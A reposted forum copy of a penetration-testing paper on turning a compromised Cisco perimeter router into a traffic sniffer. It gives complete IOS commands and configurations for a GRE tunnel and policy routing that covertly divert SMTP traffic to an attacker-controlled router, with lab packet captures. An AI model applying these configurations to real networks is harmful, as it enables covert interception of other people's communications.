[转载]Using a Compromised Router to Capture Network Traffic(页 1) - 骨干网络运营{ Backbone Security } - 邪恶八进制信息安全团队技术讨论组努力为祖国的信息安全撑起一片蓝天

金州 2006-2-7 11:03

[转载]Using a Compromised Router to Capture Network Traffic

文章作者：David Taylor 信息来源：<A href="http://infosecwriters.com/texts.php?op=display&id=41">[url]http://infosecwriters.com/texts.php?op=display&id=41[/url]</A>
Table of Contents
<UL>
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#intro">1. Introduction</A> 
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#approach">2. Approach</A> 
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#method">3. Methodology</A>
<UL>
<UL>
<UL>
<LI>3.1 Equipment
<LI>3.2 Establish a GRE Tunnel
<LI>3.3 Scenario 1 Policy Routing
<LI>3.4 Scenario 1 Unix Workstation Setup
<LI>3.5 Scenario 2 Policy Routing
<LI>3.6 Scenario 2 Unix Workstation Setup
<LI>3.7 Define Traffic to Capture
<LI>3.8 Policy Routing on Target Router </LI></UL></UL></UL>
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#results">4. Results</A>
<UL>
<UL>
<UL>
<LI>4.1 Scenario 1
<LI>4.2 Scenario 2 </LI></UL></UL></UL>
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#conc">5. Conclusions and Discussion</A>
<UL>
<UL>
<UL>
<LI>5.1 Transparency
<LI>5.2 Latency Considerations
<LI>5.3 Further Decoding of Traffic
<LI>5.4 Availability </LI></UL></UL></UL>
<LI><A href="http://infosecwriters.com/texts.php?op=display&id=41#append">6. Appendices</A>
<UL>
<UL>
<UL>
<LI>6.1 Appendix A – Target Router Configuration
<LI>6.2 Appendix B – Attacker Router Configuration Scenario 1
<LI>6.3 Appendix C – Attacker Router Configuration Scenario 2
<LI>6.4 Appendix D – Scenario 1 Traffic Capture
<LI>6.5 Appendix E – Scenario 2 Traffic Capture
<LI>6.6 Appendix F – Latency Testing </LI></UL></UL></UL></LI></UL>
1. Introduction<A name=intro></A>
This document details the approach, methodology and results of recent experimentation into the use of a captured perimeter router as a tool for network traffic capture.
In penetration testing scenarios it is often possible to compromise the perimeter router of an organisation. The routers are outside the corporate firewall and often poorly protected. In some cases the captured router may be useful as a launch point for further attack on the target network, but to be truly valuable it is desirable to use this captured router to sniff network traffic to and from the organisation. 
A technique to do this using GRE tunnels and policy routing was first published by Gauis in the Phrack #56 article “Things to do in Cisco Land when you are dead”. (<A href="http://www.phrack.com/show.php?p=56&a=10" target=_blank>[url]http://www.phrack.com/show.php?p=56&a=10[/url]</A>). Gauis’ technique involved establishing a GRE tunnel from the captured router to a Linux machine using proof-of-concept software built from modified tcpdump code. 
Joshua Wright used a variation on this technique in his paper: “Red Team Assessment of Parliament Hill Firewall” for SANS GCIH practical assessment. (<A href="http://www.giac.org/practical/Joshua_Wright_GCIH.zip" target=_blank>[url]http://www.giac.org/practical/Joshua_Wright_GCIH.zip[/url]</A>). Joshua terminated the GRE tunnel on a second Cisco router, but only managed to capture traffic in one direction: outbound from the organisation. 
In this experiment Joshua’s approach was extended, again using a second Cisco router to terminate the GRE tunnel, but transparently capturing traffic to and from the organisation. One of the primary motivating factors for the development of this technique was to minimise the need for customised software and components. 
Special thanks go to Darren Pedley (Darren.Pedley@alphawest6.com.au) for his assistance with router configs and sanity checking throughout the experiment.
 2. Approach<A name=approach></A>
The approach chosen, was to establish a GRE tunnel between the captured router (“Target router”) and a second router that is under the control of the attacker (“Attacker router”). Policy routing was then used to redirect ingress and egress traffic for the organisation to the attacker router via the GRE tunnel. The traffic was then ‘handled’ by the attacker router before being returned to the target router for final delivery (again via the GRE tunnel). 
Two handling scenarios were tested. In the first, the captured traffic was merely ‘reflected’ by the attacker router back down the GRE tunnel, as shown in Figure 1. This method had the advantage of simplicity in the router configuration, but introduced the following issues:
<UL>
<LI>In order to capture the traffic it is necessary to ‘sniff’ the external interface of the attacker router. This would be somewhat difficult for non-ethernet network media.
<LI>Captured network traffic is GRE encapsulated. It would be necessary to decapsulate this traffic before an IP decode could be performed. </LI></UL>
 
<DIV align=center><IMG height=481 src="http://infosecwriters.com/text_resources/router_to_capture/image001.jpg" width=512 border=0> Figure 1 – Scenario 1. I</DIV>
In the second handling scenario, the attacker router was configured to pass the captured traffic by a Unix workstation before sending it back to the target router. This is shown in Figure 2. This scenario overcomes the two previous disadvantages:
<UL>
<LI>The external network media on the attacker router is arbitrary.
<LI>The traffic forwarded via the Unix workstation has already been decapsulated, and requires less processing to extract useful information. </LI></UL>
 <IMG height=475 src="http://infosecwriters.com/text_resources/router_to_capture/image002.jpg" width=509 border=0> Figure 2 – Scenario 2 
 3. Methodology<A name=method></A>
The diagram in Figure 3 shows the network topology that was used in this experiment.
 
<IMG height=446 src="http://infosecwriters.com/text_resources/router_to_capture/image003.jpg" width=513 border=0> Figure 3 – Test Lab Topology 
3.1 Equipment The target router used was a dual Ethernet Cisco 3600. The attacker router was a dual Ethernet Cisco 2600. This methodology would be equally applicable to any Cisco IOS router. It may be applicable to other routers that support GRE and policy routing. 
The mail server was a Linux laptop. The network sniffer was a Solaris workstation. The choice of these devices was arbitrary. 
3.2 Establish a GRE Tunnel The first step, following basic IP configuration of the routers, is to establish a GRE tunnel between the target router and the attacker router. In a real-world implementation of this methodology, the target router must first be compromised to the point that it can be remotely configured. Methods for compromise of this device are beyond the scope of this document.
On the target router: 
Target#conf t Target(config)#int tunnel0 Target(config-if)#ip address 192.168.5.1 255.255.255.0 Target(config-if)#tunnel source eth0/1 Target(config-if)#tunnel dest 192.168.1.2 Target(config-if)#tunnel mode gre ip Target(config-if)#exit Target(config)#exit Target# 
A tunnel interface called tunnel0 is created. It is assigned a local (virtual) IP address of 192.168.5.1. The external Ethernet interface of the router is defined as the local tunnel endpoint, and the attacker router external IP address is defined as the remote tunnel endpoint.
The equivalent commands are entered on the attacker router.
On the attacker router:
Attacker#conf t Attacker(config)#int tunnel0 Attacker(config-if)#ip address 192.168.5.2 255.255.255.0 Attacker(config-if)#tunnel source eth0/1 Attacker(config-if)#tunnel dest 192.168.1.1 Attacker(config-if)#tunnel mode gre ip Attacker(config-if)#exit Attacker(config)#exit Attacker# 
At this point, the GRE tunnel has been established between the two routers. Regardless of how many hops may exist between the routers over the Internet, the GRE tunnel is now considered a single hop.
3.3 Scenario 1 Policy Routing For scenarion 1 (see Figure 1), we establish policy routing on attacker router tunnel0 interface to ‘reflect’ traffic arriving on the GRE tunnel.
On the attacker router:
Attacker#conf t Attacker(config)#access-list 100 permit ip any any Attacker(config)#route-map reflect Attacker(config-route-map)#match ip address 100 Attacker(config-route-map)#set ip next-hop 192.168.5.1 Attacker(config-route-map)#exit Attacker(config)#int tunnel0 Attacker(config-if)#ip policy route-map reflect Attacker(config-if)#exit Attacker(config)#exit Attacker# 
The access-list 100 matches all IP traffic. The route map selects all traffic that matches access-list 100 (all traffic) and sends it to 192.168.5.1, which is the target router end of the GRE tunnel. This route map is applied to the tunnel0 interface.
The result of this is that all traffic arriving on the tunnel0 interface of the attacker router will be forwarded back out that interface (the tunnel) to the target router.
3.4 Scenario 1 Unix Workstation Setup In scenario 1, the attacker Unix workstation was placed outside the external interface of the attacker router. In this instance, the IP configuration of the Unix workstation is arbitrary, as the workstation only needs to passively capture the network traffic.
3.5 Scenario 2 Policy Routing In the second scenario we establish policy routing on attacker router tunnel interface and internal Ethernet interface to ‘reflect’ traffic arriving from GRE tunnel, via the Unix workstation on the internal Ethernet interface.
On the attacker router:
Attacker#conf t Attacker(config)#access-list 100 permit ip any any Attacker(config)#route-map send-traffic-in Attacker(config-route-map)#match ip address 100 Attacker(config-route-map)#set ip next-hop 192.168.3.2 Attacker(config-route-map)#exit Attacker(config)#int tunnel0 Attacker(config-if)#ip policy route-map send-traffic-in Attacker(config-if)#exit Attacker(config)#route-map send-traffic-out Attacker(config-route-map)#match ip address 100 Attacker(config-route-map)#set ip next-hop 192.168.5.1 Attacker(config-route-map)#exit Attacker(config)#int eth0/0 Attacker(config-if)#ip policy route-map send-traffic-out Attacker(config-if)#exit Attacker(config)#exit Attacker# 
The send-traffic-in route map is applied to the tunnel0 interface. It forwards all traffic arriving from the tunnel to the Unix workstation primary Ethernet address (192.168.3.2). The workstation routes this traffic back to the attacker router (192.168.4.1) through default routing.
The send-traffic-out route map is applied to the internal Ethernet interface on the attacker router. It forwards all traffic from the workstation back out the GRE tunnel to the target router.
3.6 Scenario 2 Unix Workstation Setup The Unix workstation in scenario 2 is configured as follows: Primary IP address: 192.168.3.2 Secondary IP address: 192.168.4.2
This secondary address is a virtual address on the same physical network interface. Default route: 192.168.4.1
3.7 Define Traffic to Capture Next, it is necessary to establish access lists for traffic to be captured on target router. On the target router: Target#conf t Target(config)#access-list 101 permit tcp any any eq 25 Target(config)#access-list 101 permit tcp any eq 25 any Target(config)#exit Target# This access-list matches all SMTP (25/tcp) traffic. It is necessary to define rules to match incoming and outgoing packets as this access-list will be used in route maps for both interfaces of the target router.
3.8 Policy Routing on Target Router Finally, we establish policy routing on the target router to send interesting traffic via the GRE tunnel. On the target router: Target#conf t Target(config)#route-map capture-traffic Target(config-route-map)#match ip address 101 Target(config-route-map)#set ip next-hop 192.168.5.2 Target(config-route-map)#exit Target(config)#int eth0 Target(config-if)#ip policy route-map capture-traffic Target(config-if)#exit Target(config)#int eth1 Target(config-if)#ip policy route-map capture-traffic Target(config-if)#exit Target(config)#exit Target# 
A route map is defined that matches traffic from access-list 101 (all SMTP traffic), and forwards this traffic to the attacker router over the GRE tunnel. This route map is applied to both the inside and outside interfaces of the router. At this point all ingress and egress SMTP traffic through the router will be redirected to the attacker router via the GRE tunnel. Traffic arriving at the captured router from the GRE tunnel (return traffic) is delivered according to standard routing. Final configurations for the target router may be found in Appendix A. The final configurations for Scenario 1 and 2 on the attacker router may be found in Appendices B and C respectively.
 4. Results<A name=results></A>
In both scenarios SMTP connections were diverted via the GRE tunnel and successfully captured by the Unix workstation.
4.1 Scenario 1 The following snoop excerpt shows the intercepted SMTP session establishment (three way handshake) for the first scenario:
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823 3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797 4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824 5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798 6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825 9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799 
Packet 1 shows the TCP SYN packet from the client to the mail server. Packets 2 and 3 show this SYN being sent from the target router to the attacker router and back again. After packet 3, the SYN is delivered to the mail server: this is not shown. The mail server responds to this with a SYN/ACK: this is not shown. Packets 4 and 5 show the SYN/ACK traversing the GRE tunnel. Packet 6 shows the SYN/ACK being returned to the mail client. Packet 7 shows the ACK packet (final packet in three way handshake) from the client to the mail server. Packets 8 and 9 show this ACK traversing the GRE tunnel. After packet 9, the ACK is delivered to the mail server, the session is established, and the SMTP connection continues.
A more complete transcript of this capture, along with a protocol decode for packet 2 may be found in Appendix D.
4.2 Scenario 2 The following snoop excerpt shows the intercepted SMTP session establishment (three way handshake) for the second scenario:
1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 
Packet 1 and 2 show the TCP SYN packet from the client to the mail server. This (and all) traffic is duplicated since the captured traffic is routed in and out of the same interface on the Unix workstation. Packets 3 and 4 show the SYN/ACK from the mail server to the client. Packets 5 and 6 show the ACK from the client to the mail server (final part of three way handshake).
A more complete transcript of this capture may be found in Appendix E.
 5 Conclusions and Discussion<A name=conc></A>
5.1 Transparency This method of interception is almost completely transparent to the end users of the system (see the following section on latency). Standard traceroute utilities will not show the extra hops incurred by the GRE redirection, since traceroute traffic is not selected for policy routing. It would be possible, but somewhat difficult, to write a TCP-based traceroute utility using port 25 connections and increasing TTL values in order to discover the additional hop/s incurred.
Of course, examination of the target router configuration would easily lead to discovery.
5.2 Latency Considerations The process of redirecting the traffic via the attacker router will introduce additional latency on the captured traffic. This increase in latency may be represented as: 2n + m Where n is the time taken for traffic to move across the Internet from the target router to the attacker router, and m is the time delay incurred by the attacker router (and Unix workstation) in handling this traffic. The value of m was found to be in the order of 10ms in lab conditions – see Appendix F for details. Where n is likely to be large, this technique should be restricted to non-time-critical traffic such as SMTP, DNS zone transfers and the like.
5.3 Further Decoding of Traffic The extraction of useful data from the captured traffic is left as an exercise to the reader. Standard Unix utilities such as strings, and od may be handy for this.
5.4 Availability Where this technique is used in real-world circumstances, it should be noted that the attacker router (and the Unix workstation in scenario 2) become single points of failure in the communications path. If either of these devices were to become unavailable, the traffic selected by the access list in section 3.7 would not be delivered.
 6. Appendices<A name=append></A>
6.1 Appendix A – Target Router Configuration ! version 12.2 service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname Target ! no logging console ! ip subnet-zero ! interface Tunnel0 ip address 192.168.5.1 255.255.255.0 tunnel source Ethernet0/1 tunnel destination 192.168.1.2 ! interface Ethernet0/0 ip address 192.168.2.1 255.255.255.0 ip policy route-map capture-traffic half-duplex ! interface Ethernet0/1 ip address 192.168.1.1 255.255.255.0 ip policy route-map capture-traffic half-duplex ! ip classless no ip http server no ip pim bidir-enable ! access-list 101 permit tcp any any eq smtp access-list 101 permit tcp any eq smtp any no cdp run route-map capture-traffic permit 10 match ip address 101 set ip next-hop 192.168.5.2 ! line con 0 line aux 0 line vty 0 4 privilege level 15 login ! end 
6.2 Appendix B – Attacker Router Configuration Scenario 1 ! version 12.2 service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname Attacker ! logging buffered 4096 debugging no logging console enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0 ! memory-size iomem 10 ip subnet-zero ! interface Tunnel0 ip address 192.168.5.2 255.255.255.0 ip policy route-map reflect tunnel source Ethernet0/1 tunnel destination 192.168.1.1 ! interface Ethernet0/0 ip address 192.168.3.1 255.255.255.0 half-duplex ! interface Ethernet0/1 ip address 192.168.1.2 255.255.255.0 half-duplex ! ip classless no ip http server no ip pim bidir-enable ! access-list 100 permit ip any any no cdp run route-map reflect permit 10 match ip address 100 set ip next-hop 192.168.5.1 ! line con 0 line aux 0 line vty 0 4 privilege level 15 no login ! end 
6.3 Appendix C – Attacker Router Configuration Scenario 2 version 12.2 service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname Attacker ! logging buffered 4096 debugging no logging console enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0 ! memory-size iomem 10 ip subnet-zero ! interface Tunnel0 ip address 192.168.5.2 255.255.255.0 ip policy route-map send-traffic-in tunnel source Ethernet0/1 tunnel destination 192.168.1.1 ! interface Ethernet0/0 ip address 192.168.4.1 255.255.255.0 secondary ip address 192.168.3.1 255.255.255.0 ip policy route-map send-traffic-out half-duplex ! interface Ethernet0/1 ip address 192.168.1.2 255.255.255.0 half-duplex ! ip classless no ip http server no ip pim bidir-enable ! access-list 100 permit ip any any no cdp run route-map send-traffic-out permit 10 match ip address 100 set ip next-hop 192.168.5.1 ! route-map send-traffic-in permit 10 match ip address 100 set ip next-hop 192.168.3.2 ! line con 0 line aux 0 line vty 0 4 privilege level 15 no login ! end 
6.4 Appendix D – Scenario 1 Traffic Capture 1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823 3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797 4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824 5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798 6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825 9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799 10 40.09693 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826 11 0.00142 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800 12 0.00063 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 220 localhost.locald 13 0.13864 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 14 0.00185 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827 15 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801 82 2.18601 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 q 83 0.00211 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850 84 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824 85 0.03858 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851 86 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825 87 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 88 0.18110 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 u 89 0.00186 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852 90 0.00136 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826 91 0.00271 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853 92 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827 93 0.00059 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 94 0.05429 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 i 95 0.00191 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854 96 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828 97 0.00269 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855 98 0.00131 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829 99 0.00051 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 100 0.16402 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 t 101 0.00207 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856 102 0.00139 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830 103 0.00270 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857 104 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831 105 0.00052 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 106 0.22869 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 107 0.00197 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858 108 0.00137 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832 109 0.00304 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859 110 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833 111 0.00012 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860 112 0.00055 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 113 0.00093 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834 114 0.00058 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 221 2.0.0 localhost. 115 0.00067 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861 116 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835 117 0.00049 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 118 0.00025 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 119 0.00044 192.168.1.3 -> 192.168.2.2 SMTP C port=1617 120 0.00172 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862 121 0.00133 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836 122 0.00007 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863 123 0.00135 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837 124 0.00255 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864 125 0.00130 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838 126 0.00054 192.168.2.2 -> 192.168.1.3 SMTP R port=1617 
A snoop decode of a GRE packet is shown below: ETHER: ----- Ether Header ----- ETHER: ETHER: Packet 2 arrived at 12:38:37.06 ETHER: Packet size = 86 bytes ETHER: Destination = 0:d0:ba:fe:30:e1, ETHER: Source = 0:e0:1e:7e:a0:c2, ETHER: Ethertype = 0800 (IP) ETHER: IP: ----- IP Header ----- IP: IP: Version = 4 IP: Header length = 20 bytes IP: Type of service = 0x00 IP: xxx. .... = 0 (precedence) IP: ...0 .... = normal delay IP: .... 0... = normal throughput IP: .... .0.. = normal reliability IP: Total length = 72 bytes IP: Identification = 823 IP: Flags = 0x0 IP: .0.. .... = may fragment IP: ..0. .... = last fragment IP: Fragment offset = 0 bytes IP: Time to live = 255 seconds/hops IP: Protocol = 47 () IP: Header checksum = 34fc IP: Source address = 192.168.1.1, 192.168.1.1 IP: Destination address = 192.168.1.2, 192.168.1.2 IP: No options IP: 
A hex decode of the same GRE packet is shown below:
0000000 736e 6f6f 7000 0000 0000 0002 0000 0004 0000020 0000 0056 0000 0056 0000 0070 0000 0000 0000040 3d2d 0bcd 0001 110b 00d0 bafe 30e1 00e0 0000060 1e7e a0c2 0800 4500 0048 0337 0000 ff2f 0000100 34fc c0a8 0101 c0a8 0102 0000 0800 4500 0000120 0030 3380 4000 7f06 43f2 c0a8 0103 c0a8 0000140 0202 0651 0019 99d0 26a4 0000 0000 7002 0000160 4000 f86a 0000 0204 0534 0101 0402 0000 
6.5 Appendix E – Scenario 2 Traffic Capture 1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 7 40.09285 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald 8 0.00016 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 220 localhost.locald 9 0.16606 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 10 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 59 1.62586 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q 60 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 q 61 0.04199 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 62 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 63 0.14919 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u 64 0.00012 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 u 65 0.00574 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 66 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 67 0.08556 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i 68 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 i 69 0.00570 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 70 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 71 0.12386 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t 72 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 t 73 0.00577 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 74 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 75 0.80846 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 76 0.00011 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 77 0.00613 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 78 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 79 0.00216 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost. 80 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 221 2.0.0 localhost. 81 0.00220 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 82 0.00009 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 83 0.00670 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 84 0.00008 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 85 0.00169 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 86 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712 87 0.00645 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 88 0.00008 192.168.2.2 -> 192.168.1.3 SMTP R port=1712 
6.6 Appendix F – Latency Testing Latency incurred by the additional handling of traffic was examined. ICMP ping was used in the lab to test this from the client machine on the Internet.
Without redirection/capture…
C:\>ping 192.168.2.2 Pinging 192.168.2.2 with 32 bytes of data: Reply from 192.168.2.2: bytes=32 time=10ms TTL=254 Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 10ms, Average = 2ms C:\>ping -l 1000 192.168.2.2 Pinging 192.168.2.2 with 1000 bytes of data: Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms C:\> 
With redirection/capture…
C:\>ping 192.168.2.2 Pinging 192.168.2.2 with 32 bytes of data: Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 10ms, Maximum = 10ms, Average = 10ms C:\>ping -l 1000 192.168.2.2 Pinging 192.168.2.2 with 1000 bytes of data: Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250 Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 Ping statistics for 192.168.2.2: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 20ms, Maximum = 31ms, Average = 22ms C:\>

页: [1]

邪恶八进制信息安全团队技术讨论组's Archiver

[转载]Using a Compromised Router to Capture Network Traffic